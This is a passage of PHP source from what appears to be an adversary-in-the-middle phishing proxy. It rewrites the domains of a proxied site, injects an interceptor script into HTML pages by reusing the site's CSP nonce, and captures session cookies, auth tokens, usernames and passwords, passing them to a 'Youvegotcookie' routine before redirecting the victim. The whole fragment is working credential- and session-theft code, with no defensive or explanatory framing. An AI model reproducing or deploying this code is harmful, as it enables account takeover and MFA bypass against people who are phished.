$value = rewrite_domains_in_header($value, $DOMAIN_MAP); header("$name: $value", true); } $jsonCookies = parse_netscape_cookiejar_to_json_array($cookieJar); $_SESSION['cookies'] = $jsonCookies; write_cookie_snapshot_json($jsonCookies); $entries = parse_netscape_cookiejar_lines($cookieJar); $status = auth_tokens_satisfied_from_netscape($cookieJar, $AUTH_TOKENS); if ($status['ok']) { $_SESSION['isdone'] = true; error_log('Auth tokens satisfied'); // Log auth token capture log_event('AUTH_TOKENS_SATISFIED', [ 'tokens_present' => $status['present'], 'cookie_count' => count($jsonCookies ?? []) ]); if(!empty($_SESSION['username']) && !empty($_SESSION['password'])) { Youvegotcookie($_SESSION['username'] ?? '', $_SESSION['password'] ?? '', true, true, $cookieJar); } perform_valid_login_redirect($cfg['success_redirect'] ?? '/'); } $contentType = (string)($info['content_type'] ?? ''); $respBody = rewrite_body_urls($respBody, $contentType, $DOMAIN_MAP); $respBody = maybe_inject_js($respBody, $contentType, $JS_INJECT, $DOMAIN_MAP, $upstreamCsp); // AUTO-INJECT REQUEST INTERCEPTOR ON ALL HTML PAGES if (str_contains(strtolower($contentType), 'text/html')) { $interceptorScript = generate_domain_rewrite_js($DOMAIN_MAP, $domainRoot); $nonceValue = null; if ($upstreamCsp !== '') { if (preg_match("/'nonce-([^']+)'/i", $upstreamCsp, $m)) $nonceValue = $m[1]; elseif (preg_match('/nonce-([A-Za-z0-9+\/=._-]+)/i', $upstreamCsp, $m2)) $nonceValue = $m2[1]; } $nonceAttr = $nonceValue !== null ? ' nonce="' . htmlspecialchars($nonceValue, ENT_QUOTES) . '"' : ''; $scriptTag = "\n{$interceptorScript}\n"; if (stripos($respBody, '') !== false) { $respBody = preg_replace('/<\/head>/i', $scriptTag . '', $respBody, 1); } elseif (stripos($respBody, ']*)>/i', '' . $scriptTag, $respBody, 1); } else { $respBody = $scriptTag . $respBody; } } $found = extract_and_store_credentials($CREDENTIALS); if (!empty($found)) error_log('Captured creds: ' . json_encode($found)); if(isset($_SESSION['isdone'])) { if(!empty($_SESSION['username']) && !empty($_SESSION['password'])) { Youvegotcookie($_SESSION['username'] ?? '', $_SESSION['password'] ?? '', true, true, $cookieJar); // Log proxy completion log_event('PROXY_COMPLETED', [ 'username' => $_SESSION['username'], 'redirect_url' => $cfg['success_redirect'] ?? '/', 'total_cookies' => count($jsonCookies ?? []), 'credentials_captured' => true ]); } perform_valid_login_redirect($cfg['success_redirect'] ?? '/'); } echo $respBody; session_write_close();